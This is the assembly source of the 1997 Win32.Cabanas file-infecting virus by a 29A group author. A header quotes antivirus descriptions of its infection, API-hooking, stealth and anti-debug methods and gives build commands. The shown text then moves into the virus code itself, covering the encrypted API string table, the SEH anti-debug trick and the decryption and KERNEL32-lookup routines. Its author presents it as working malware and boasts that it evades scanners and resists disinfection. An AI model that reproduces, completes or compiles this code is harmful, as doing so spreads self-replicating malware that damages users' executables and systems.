2022-08-21 09:07:57 +00:00
;
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; Win32.Cabanas.2999 <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD>
; by Jacky Qwerty/29A <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <20> <> <EFBFBD>
;
; I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus.
; Not only it's the first virus stayin resident on NT, but is also the first
; with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz,
; this babe is a "per process" memory resident, size stealth virus infecting
; Portable Executable filez on every existin Win32-based system. Those who
; dont know what a "per process" resident virus is, it means a virus staying
; resident inside the host Win32 aplication's private space, monitoring file
; activity and infectin PE filez opened or accesed by such Win32 aplication.
;
; The purpose of this virus is to prove new residency techniquez that can be
; exploited from genuine Win32 infectorz, without all the trouble of writing
; especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is
; a virus bein able to work unmodified across all Win32 platformz available:
; Win95, WinNT and any other future platform suportin the Win32 API interfa-
; ce. So far only Win95 especific virusez have been found, not Win32 genuine
; onez. Make sure to read the complete description about Win32.Cabanas writ-
; ten by P<> ter Sz<53> r, available at http://www.avp.ch/avpve/newexe/win32/caba-
; nas.stm. U can also read description by Igor Daniloff from Dr.Web, availa-
; ble at http://www.dials.ccas.ru/inf/cabanas.htm as well.
;
; After readin P<> ter Sz<53> r's description about Win32.Cabanas, i realized he'd
; really made a very serious profesional work. So good that he didnt seem to
; miss any internail detail in the virus, as if he had actually writen the
; bug himself or as if he was actually me, hehe. Obviosly, none of the prior
; onez are true. But, nevertheless, i think it's worth to take his work into
; account even from the VX side of the fence. Really i dunno what's left for
; me to say after such description, so i will simply add my own personal co-
; mentz to P<> ter's log. Erm.. btw why dont u join us? heh >8P
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; 1. Technical Description
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; Win32.Cabanas is the first known 32-bit virus that works under Windows NT
; Server, Windows NT workstation, Windows 95 and Windows 3.x extended with
; Win32s sub-system. It was found in late 1997.
;
; Win32.Cabanas is a per-process memory resident, fast infecting, antidebug-
; ged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The
; "Win32" prefix is not misleading, as the virus is also able to spread in
; all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of
; the virus is a member of the 29A group, the same young virus writer who
; wrote the infamous CAP.A virus.
;
;
; 1.1. Running an infected PE file
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; When a Win32.Cabanas infected file is executed, the execution will start
; at the original host entry point. Surprisingly, Cabanas does not touch
; the entry point field in the Image File Header. Instead it patches the
; host program at its entry point. Five bytes at the entry point is replaced
; with a FAR JMP to the address where the original program ended. This can
; be considered as an anti-heuristic feature, as the host entry point value
; in the PE header keeps pointing inside the code section, possibly turning
; off some heuristic flags.
;
; Thus the first JMP points to the real entry point. The first function in
; Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL
; API names. The unpack mechanism is simple but effective enough. Cabanas is
; also an armored virus. It uses "Structured Exception Handling" (typically
; abbreviated as "SEH") as an anti-debug trick. This prevents debugging from
; any application-level debugger, such as TD32.
;
; When the unpack/decryptor function is ready, the virus calls a routine to
; get the original Base Address of KERNEL32.DLL. During infection time, the
; virus searches for GetModuleHandleA and GetModuleHandleW API in the Import
; Table, respectively. When it finds them, it saves a pointer to the actual
; DWORD in the .idata list. Since the loader puts the addresses to this
; table before it executes the virus, Cabanas gets them easily.
;
; If the application does not have a GetModuleHandleA / GetModuleHandleW API
; import, the virus uses a third undocumented way to get the Base Address of
; KERNEL32.DLL by getting it from the ForwarderChain field in the KERNEL32
; import. Actually this will not work under Windows NT, but on Win95 only.
; When the virus has the Base Address/Module Handle of KERNEL32.DLL, it
; calls its own routine to get the address of GetProcAddress function. The
; first method is based on the search of the Import Table during infection
; time. The virus saves a pointer to the .idata section whenever it finds a
; GetProcAddress import in the host. In most cases Win32 applications import
; the GetProcAddress API, thus the virus should not use a secondary routine
; to get the same result. If the first method fails, the virus calls another
; function which is able to search for GetProcAddress export in KERNEL32.
; Such function could be called as GetProcAddress-From-ExportsTable. This
; function is able to search in KERNEL32's Exports Table and find the
; address of GetProcAddress API.
;
; This function is one of the most important ones from the virus point of
; view and it is compatible with all Win32 based systems. If the entry point
; of GetProcAddress was returned by the GetProcAddress-From-ExportsTable
; function, the virus saves this address and use it later on. Otherwise, the
; GetProcAddress-From-ExportsTable function will be used several times. This
; function is also saved with "Structured Exception Handling" to avoid from
; possible exceptions. After this, the virus gets all the API addresses it
; wants to use in a loop. When the addresses are available, Cabanas is ready
; to replicate and call its direct action infection routine.
;
;
; 1.2. Direct action infection
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; The direct action infection part is surprisingly fast. Even though the
; virus goes through all the files in Windows directory, Windows System
; directory and in the current directory respectively, the file infection
; is fast enough to go unnoticed in much systems. This is because the virus
; works with "memory mapped files", a new feature implemented in Win32 based
; systems which simplifies file handling and increases system performance.
;
; First the virus gets the name of Windows directory, then it gets the name
; of Windows System directory and calls the function which searches for non-
; infected executable images. It searches for non directory entries and
; check the size of the files it found.
;
; Files with size dividable by 101 without reminder are assumed to be
; infected. Other files which are too huge will not be infected either.
; After this, the virus checks the file extension, if it matches EXE or
; SCR (screen saver files), the virus opens and maps the file. If the file
; is considered too short, the file is closed. Then it checks the`MZ' marker
; at the beginning of the image. Next it positions to the possible `PE'
; header area and checks the `PE' signature. It also checks that the
; executable was made to run on 386+ machines and looks for the type of
; the file. DLL files are not infected.
;
; After this, the virus calculates a special checksum which uses the
; checksum field of PE files Optional Header and the file-stamp field of
; the Image File Header. If the file seems to be infected the virus closes
; the file. If not, the file is chosen for infection. Cabanas then closes
; the file, blanks the file attribute of the file with SetFileAttributeA API
; and saves the original attributes for later use. This means the virus is
; not stopped by the "Read Only" attribute. Then again, it opens and maps
; the possible host file in read/write mode.
;
; Next it searches for the GetModuleHandleA, GetModuleHandleW and
; GetProcAddress API imports in the host Import Table and calculates
; pointers to the .idata section. Then it calls the routine which
; patches the virus image into the file.
;
; This routine first checks that the .idata section has MEM_WRITE
; characteristics. If not it sets this flag on the section, but only if
; this section is not located in an executable area. This prevents the
; virus from turning on suspicious flags on the code section, triggered
; by some heuristic scanner.
;
; Then it goes to the entry point of the image and replaces five bytes
; with a FAR JMP instruction which will point to the original end of the
; host. After that it checks the relocation table. This is because some
; relocations may overwrite the FAR JMP at the entry point. If the
; relocation table size is not zero the virus calls a special routine
; to search for such relocation entries in the .reloc area. It clears
; the relocation type on the relocation record if it points into the FAR
; JMP area, thus this relocation will not take into account by the loader.
; The routine also marks the relocation, thus Cabanas will be able to
; relocate the host later on. Then it crypts all the information which has
; to be encrypted in the virus body. Including the table which holds the
; original 5 bytes from the entry point and its location.
;
; Next the virus calculates the special checksum for self checking purposes
; and saves this to the time stamp field of the PE header. When everything
; is ready, the virus calculates the full new size of the file and makes
; this value dividable by 101. The real virus code is around 3000 bytes
; only but the files will grow with more bytes, because of this. Cabanas
; has a very important trick here. The virus does not create a new section
; header to hold its code, but patches the last section header in the file
; (usually .reloc) to grow the section body large enough to store the virus
; code. This makes the infection less risky and less noticeable.
;
; Then the virus changes the SizeOfImage field in the PE header to reflect
; the changes made to the last section in the file, then unmaps and closes
; the file. Next it truncates the file at the previously calculated size
; and restores the original time and date stamp. Finally Cabanas resets the
; original attribute of the file. When all the possible files have been
; checked for infection, Cabanas is ready to go memory resident.
;
;
; 1.3. Rebuild the host, Hook API functions and Go memory resident
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; The next phase is to rebuild the host program. The virus locates an
; internal parameter block which consists of the previously encrypted code
; from the host (5 bytes) and writes back the 5 original bytes at the entry
; point. After this, it relocates the code area if needed, by searching in
; the .reloc section for marked relocation entries. Next the virus hooks
; API functions and goes memory resident.
;
; The API hooking technique is based on the manipulation of the Import
; Table. Since the host program holds the addresses of imported functions
; in its .idata section, all the virus has to do is to replace those
; addresses to point to its own API handlers.
;
; To make those calculations easy, the virus opens and maps the infected
; program. Then it allocates memory for its per-process part. The virus
; allocates a 12232 bytes block and copies itself into this new allocated
; area. Then it searches for all the possible function names it wants to
; hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA,
; MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW,
; CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose,
; FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA,
; SetFileAttrW. Whenever it finds one of the latter APIs, it saves the
; original address to its own JMP table and replaces the .idata section's
; DWORD (which holds the original address of the API) with a pointer to its
; own API handlers. Finally the virus closes and unmaps the host and starts
; the application, by jumping into the original entry point in the code
; section.
;
; Some Win32 applications however may not have imports for some of these
; file related APIs, they can rather retrieve their addresses by using
; GetProcAddress and call them directly, thus the virus would be unable
; to hook this calls. Not so fast. The virus also hooks GetProcAddress
; for a special purpose. GetProcAddress is used by most applications.
; When the application calls GetProcAddress the virus new handler first
; calls the original GetProcAddress to get the address of the requested
; API. Then it checks if the Module Handle parameter is from KERNEL32 and
; if the function is one of the KERNEL32 APIs that the virus wants to hook.
; If so, the virus returns a new API address which will point into its
; NewJMPTable. Thus the application will still get an address to the virus
; new handler in such cases as well.
;
;
; 1.4. Stealth and fast infection capabilities
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; Cabanas is a semi-stealth virus: during FindFirstFileA, FindFirstFileW,
; FindNextFileA and FindNextFileW, the virus checks for already infected
; programs. If the program is not infected the virus will infect it,
; otherwise it hides the file size difference by returning the original
; size for the host program. During this, the virus can see all the file
; names the application accesses and infects every single clean file.
;
; Since the CMD.EXE (Command Interpreter of Windows NT) is using the above
; APIs during a DIR command, every non infected file will be infected (if
; the CMD.EXE was infected previously by Win32.Cabanas). The virus will
; infect files during every other hooked API request as well.
;
; Apart from the encrypted API names strings, the virus also contains the
; following copyright message:
;
; (c) Win32.Cabanas v1.0 by jqwerty/29A.
;
;
; 1.5. Conclusion
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; Win32.Cabanas is a very complex virus with several features new in Win32
; based systems. It shows quite interesting techniques that can be used in
; the near future. It demonstrates that a Windows NT virus should not have
; any Windows 95 or Windows NT especific functionality in order to work on
; any Win32 system. The "per-process" residency technique also shows a
; portable viable solution to avoid known compatibility issues between
; Windows 95 and Windows NT respecting their low level resident driver
; implementations. Virus writers can use these techniques and their
; knowledge they have had on Windows 95 to come to a more robust platform.
; So far Win32.Cabanas has made this first step.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 2. Shortcutz
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; (*) http://www.dials.ccas.ru/inf/cabanas.htm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win32.Cabanas: A brief description
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; Igor A. Daniloff
;
; Win32.Cabanas is the first known virus that infects files under Microsoft
; 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only
; is it capable of infecting PortableExecutable files, but also remains
; resident in the current session of an infected program in all these
; Windows systems.
;
; The viruses specifically designed for Windows 95 thus far could not
; properly infect files in Windows NT. Although files of Windows 95 and
; Windows NT have identical PE format, certain fields in their PE headers
; are different. Therefore, for infecting files under Windows NT, the PE
; header must be modified appropriately; otherwise Windows NT would display
; an error message in the course of loading the file. Furthermore, viruses
; encounter certain problems in determining the base addresses of WIN32
; KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows
; NT are located at different memory addresses. But Win32.Cabanas smartly
; handles these problems. On starting an infected file, the virus gets
; control, unpacks and decrypts its table of names of WIN32 KERNEL API
; procedures that are needed in the sequel, and then determines the base
; address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL
; API functions.
;
; While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA,
; GetModuleHandleW, and GetProcAddress functions from the Import Table and
; stores in its code the offsets of the addresses of these procedures in the
; Import Table (in the segment .idata, as a rule). If the names of these
; procedures are not detectable, Win32.Cabanas uses a different undocumented
; method of finding the base address of KERNEL32 and the addresses of WIN32
; KERNEL API. But there is a bug in this undocumented method; therefore the
; method is inoperative under Windows NT. If the addresses of
; GetModuleHandleA or GetModuleHandleW functions are available in the Import
; Table of the infected file, the virus easily determines the WIN32 KERNEL
; API addresses through the GetProcAddress procedure. If the addresses are
; not available in the Import Table, the virus craftily finds the address of
; GetProcAddress from the Export Table of KERNEL32. As already mentioned,
; this virus mechanism is not operative under Windows NT due to a bug, and,
; as a consequence, the normal "activity" of the virus is disabled. This is
; the only serious bug that prevents the proliferation of Win32.Cabanas
; under Windows NT. On the contrary, in Windows 95 the virus "feels
; completely at home" and straightforwardly (even in the absence of the
; addresses of GetModuleHandleA or GetModuleHandleW) determines the base
; address of KERNEL32.DLL and GetProcAddress via an undocumented method.
;
; Using the GetProcAddress function, Win32.Cabanas can easily get the
; address of any WIN32 KERNEL API procedure that it needs. This is precisely
; what the virus does: it gets the addresses and stores them.
;
; Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files
; in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a
; file, the virus checks for a copy of its code through certain fields in
; the PE header and by the file size, which for an infected must be a
; multiple of 101. As already mentioned, the virus searches for the names of
; GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table
; and saves the references to their addresses. Then it appends its code at
; the file end in the last segment section (usually, .reloc) after modifying
; the characteristics and size of this section. Thereafter, the virus
; replaces the five initial bytes of the original entry point of the code
; section (usually, .text or CODE) by a command for transferring control to
; the virus code in the last segment section (.reloc). For this purpose, the
; virus examines the relocation table (.reloc) for finding some element in
; the region of bytes that the virus had modified. If any, the virus
; "disables" the reference and stores its address and value for restoring
; the initial bytes of the entry point at the time of transfer of control
; to the host program and, if necessary, for appropriately configuring the
; relocation.
;
; After infecting all files that yield to infection in \WINDOWS, \WINDOWS\
; SYSTEM, and in the current folder, the virus plants a resident copy into
; the system and "intercepts" the necessary system functions. Using
; VirtualAlloc, the virus allots for itself 12232 bytes in the memory and
; plants its code there. Then it tries to "intercept" the following WIN32
; KERNEL API functions: GetProcAddress, GetFileAttributesA,
; GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA,
; CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW,
; CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW,
; FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus
; "picks up" the addresses of these functions from the Import Table, and
; writes the addresses of its handlers in the Import Table. On failing to
; "intercept" certain necessary functions, the virus, when the host program
; calls for the GetProcAddress function, verifies whether this function is
; necessary for the host program, and returns the address of the virus
; procedure to host program if necessary. When a program calls for certain
; functions that have been "intercepted" by Win32.Cabanas, the file
; infection engine and/or the stealth mechanism are\is initialized. Thus,
; when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW
; functions are called, the virus may infect the file which is being
; searched and hide the increase in the infected file size.
;
; Win32.Cabanas cannot be regarded as a "true resident" virus, because it
; "intercepts" system functions and installs its copy in a specific memory
; area only in the current session of an infected program. But what will
; happen on starting, for example, an infected Norton Commander for Windows
; 95 or Command Interpreter for Windows NT? Or a resident program? Indeed,
; Win32.Cabanas will also "work hard" side by side with such a program until
; it is terminated.
;
; Win32.Cabanas contains an encrypted text string
; "(c) Win32.Cabanas v1.0 by jqwerty/29A"
;
; (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 3. Main featurez
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; * Platformz: WindowsNT, Windows95, Win32s, i.e. all Win32 platformz.
; * Residency: Yes, "Per Process", workin on all Win32 systemz.
; * Non-Residency: Yes, direct action, infects PEz before goin resident.
; * Stealth: Yes, size stealth of inf.filez (F-Potatoe95 fooled).
; * AntiDebuging: Yes, TD32 or any other "aplication" level debuger
; generates an exception when debugin an infected
; aplication. This obviosly doesnt aply for Soft-ICE
; for Windows95, a big monster.
; * AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection.
; Other Win95 virusez tend to "mark" the PE header so
; they are easily noticeable. See: Other featurez (e).
; * AntiAntivirus: Yes, disinfection of inf.filez is almost *imposible*.
; * Fast infection: Yes, filez are infected when accesed for any reason.
; * Polymorphism: No, the poly engine was stripped and removed on purpose.
; * Other featurez:
; (a) The EntryPoint field in the PE hdr is not modified.
; (b) Win32 file API functionz are hooked for infection and
; stealth purposez but also for platform compatibility.
; (c) Use of the Win32 "File-Maping" API functionz, thus
; implementin "Memory-Mapped Filez". No more "ReadFile",
; "SetFilePointer", "WriteFile"... it was about time.
; (d) Absolutely no use of absolute adressez in sake of
; compatibility with other future Win32 releasez.
; (e) The SHAPE AV program sucks, but sadly it was the best
; thing detectin PE infected filez heuristicaly. Well
; almost as it didnt triger a single flag on this one :)
; (f) Use of "Structured Exception Handling" (SEH) in those
; critical code fragmentz that could generate GP faultz,
; i.e. exceptionz are intercepted and handled properly.
; (g) Unicode suport. This babe really works in NT. No lie.
;
;
; 4. Who was Cabanas?
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; Gonzalo Cabanas used to be a daydream believer. We shared several thingz
; in comon, heard same R.E.M music style, wore the same ragged blue jeanz,
; and behaved like kidz everywhere we went together, putin tackz on the tea-
; cher's chair, stealin some classmate's lunch and so on. We even liked the
; same girlz, which explains why we sometimez ended up punchin each other's
; face from time to time. However, u could find us the next day, smoking a-
; round by the skoolyard as if nothin had ever hapened. We were the best
; friendz ever. I know this virus wont return him back to life, nor "will do
; him justice", however, i still wanted to somewhat dedicate this program in
; his honor.
;
;
; 5. Greetz
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; The greetz go to:
;
; Gonzo Cabanas ......... Hope to see u somewhere in time.. old pal!
; Murkry ................ Whoa.. i like yer high-tech ideaz budie!
; VirusBuster/29A ....... U're the i-net man pal.. keep doin it!
; Vecna/29A ............. Keep up the good work budie.. see ya!
; l- .................... Did ya ask for some kick-ass lil' creature? X-D
; Int13 ................. Hey pal.. u're also a southamerican rocker! ;)
; Peter/F-Potatoe ....... Yer description rulez.. Mikko's envy shines!
; DV8 (H8), kdkd, etc ... Hey budiez.. now where da hell are u?
; GriYo, Sandy/29A ...... Thx for yer patience heh X-D
;
;
; 6. Disclaimer
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; This source code is for educational purposez only. The author is not res-
; ponsable for any problemz caused due to the assembly of this file.
;
;
; 7. Compiling it
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; tasm32 -ml -m5 -q -zn cabanas.asm
; tlink32 -Tpe -c -x -aa cabanas,,, import32
; pewrsec cabanas.exe
;
;
; (c) 1997 Jacky Qwerty/29A.
.386p ;generate 386+ protected mode instructionz
.model flat ;no segmentz and a full 32-bit offset.. what a dream ;)
;Some includez containin very useful structurez and constantz for Win32
include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc
;Some equ's needed by the virus
nAPIS = 1 * 1024 ;size of jump table holdin hooked APIz
nHANDLEZ = 2 * 1024 + 512 ;size of Handlez table
nPATHNAMEZ = 4 * 1024 + 512 ;size of PathNamez table
extrn GetModuleHandleA : proc ;APIz used durin first generation only
extrn GetProcAddress : proc
.data
db ? ;some dummy data so tlink32 dont yell
.code
;Virus code starts here
v_start:
call get_base
code_table:
dd 12345678h ;host RVA entry point
dw 1 ;number of bytez
db ? ;bytez to patch
dw 0 ;end of parameter block
code_start:
;Packed APIz needed by the virus. They will travel in packed/encrypted form
ve_stringz:
veszKernel32 db 'KERNEL32' , 0
veszGetModuleHandleA db 'GetModuleHandleA'
veszGetModuleHandleW db 80h , 17
eExts db 'fxEtcR' , 0 ;list of file extensionz
veszGetProcAddress db 'GetProcAddress' , 0
veszGetFileAttributesA db 'Ge' , 't' + 80h , 'AttributesA'
veszGetFileAttributesW db 80h , 19
veszMoveFileExA db 'Mov' , 'e' + 80h , 'ExA'
veszMoveFileExW db 80h , 12
vesz_lopen db '_lopen' , 0
veszCopyFileA db 'Cop' , 'y' + 80h , 'A'
veszCopyFileW db 80h , 10
veszOpenFile db 'Ope' , 'n' + 80h , 0
veszMoveFileA db 'Mov' , 'e' + 80h , 'A'
veszMoveFileW db 80h , 10
veszCreateProcessA db 'CreateProcessA'
veszCreateProcessW db 80h , 15
veszCreateFileA db 'Creat' , 'e' + 80h , 'A'
veszCreateFileW db 80h , 12
veszFindClose db 'FindClose' , 0
veszFindFirstFileA db 'FindFirs' , 't' + 80h , 'A'
veszFindFirstFileW db 80h , 15
veszFindNextFileA db 'FindNex' , 't' + 80h , 'A'
veszFindNextFileW db 80h , 14
veszSetFileAttributesA db 'Se' , 't' + 80h , 'AttributesA'
veszSetFileAttributesW db 80h , 19
veszCloseHandle db 'CloseHandle' , 0
veszCreateFileMappingA db 'Creat' , 'e' + 80h , 'MappingA' , 0
veszMapViewOfFile db 'MapViewO' , 'f' + 80h , 0
veszUnmapViewOfFile db 'UnmapViewO' , 'f' + 80h , 0
veszSetFilePointer db 'Se' , 't' + 80h , 'Pointer' , 0
veszSetEndOfFile db 'SetEndO' , 'f' + 80h , 0
veszSetFileTime db 'Se' , 't' + 80h , 'Time' , 0
veszGetWindowsDirectory db 'GetWindowsDirectoryA' , 0
veszGetSystemDirectory db 'GetSystemDirectoryA' , 0
veszGetCurrentProcess db 'GetCurrentProcess' , 0
veszGetModuleFileName db 'GetModul' , 'e' + 80h , 'NameA' , 0
veszWriteProcessMemory db 'WriteProcessMemory' , 0
veszWideCharToMultiByte db 'WideCharToMultiByte' , 0
veszVirtualAlloc db 'VirtualAlloc' , 0
eEndOfFunctionNamez db 0
;Copyright and versionz
eszCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A." , 0
ve_string_size = $ - ve_stringz
get_base:
mov ecx , ve_string_size ;get size of packed/encrypted stringz
mov esi ,[ esp ] ;get pointer to packed/encrypted stringz
xor ebx , ebx
mov eax , esi
sub esi , ecx
cld
sub dword ptr [ esp ], code_table - seh_fn
add esi ,[ eax - 4 ]
push dword ptr fs :[ ebx ] ;set SEH frame.. ever seen FS in action? X-D
lea edi ,[ esi + pCodeTable - ve_stringz ]
stosd ;save pointer to code_table
add eax , 12345678h
delta_host = dword ptr $ - 4
stosd ;save actual host base adress
mov eax , esi
stosd ;save pointer to virus start
ebp_num = ddGetProcAddress + 7Fh
tmp_edi = pcode_start + 4
mov fs :[ ebx ], esp
pushad
xchg eax ,[ ebx - 2 ] ;go away lamerz and wannabeez..
db 2Dh
seh_rs: sub edi , tmp_edi - v_stringz ;get pointer to KERNEL32 API name
pop eax
push edi ;pass the pointer twice
push edi
decrypt_stringz: ;decrypt/unpack API namez and other stringz
lodsb
rol al , cl
xor al , 0B5h
jns d_stor
add al , - 80h
jnz d_file
stosb ;expand/unpack unicode API name
xor eax , eax
lodsb
push esi
xchg ecx , eax
mov esi , edx
rep movsb
xchg ecx , eax
sub byte ptr [ edi - 2 ], 'A' - 'W'
pop esi
jmp d_updt
d_file: stosb
xor eax , eax
sub eax , - 'eliF' ;expand to 'File' where aplies
stosd
cmp al , ?
org $ - 1
d_stor: stosb
jnz d_loop
d_updt: mov edx , edi
d_loop: loop decrypt_stringz ;get next character
call MyGetModuleHandleA ;get KERNEL32 base adress (first try)
pop esi
jnz gotK32 ;jump if found
sub ecx , ecx
xor eax , eax
mov cl , 9
push edi
cld
copy_K32W: ;make unicode string for KERNEL32
lodsb
stosw
loop copy_K32W
call MyGetModuleHandleW ;get KERNEL32 base adress (second try)
jnz gotK32 ;jump if found
call MyGetModuleHandleX ;get KERNEL32 base adress (third try)
jnz gotK32 ;jump if found
quit_app:
pop eax ;shit.. KERNEL32 base adress not found
ret ;try to quit aplication via an undocumented way
db 67h ;some prefix to confuse lamerz
seh_fn: mov eax ,[ esp .EH_EstablisherFrame ]
lea esp ,[ eax - cPushad ]
popad
xor eax , eax
lea ebp ,[ edi + ebp _num - tmp_edi ]
pop dword ptr fs :[ eax ] ;remove SEH frame
jmp seh_rs
gotK32: mov [ ebp + K32Mod - ebp _num ], eax ;store KERNEL32 base adress
cmp dword ptr [ ebp + ddGetProcAddress - ebp _num ], 0
xchg ebx , eax
jnz find_APIs ;got RVA pointer to GetProcAdress API?
lea esi ,[ ebp + vszGetProcAddress - ebp _num ]
call MyGetProcAddressK32 ;no, get adress of GetProcAdress directly
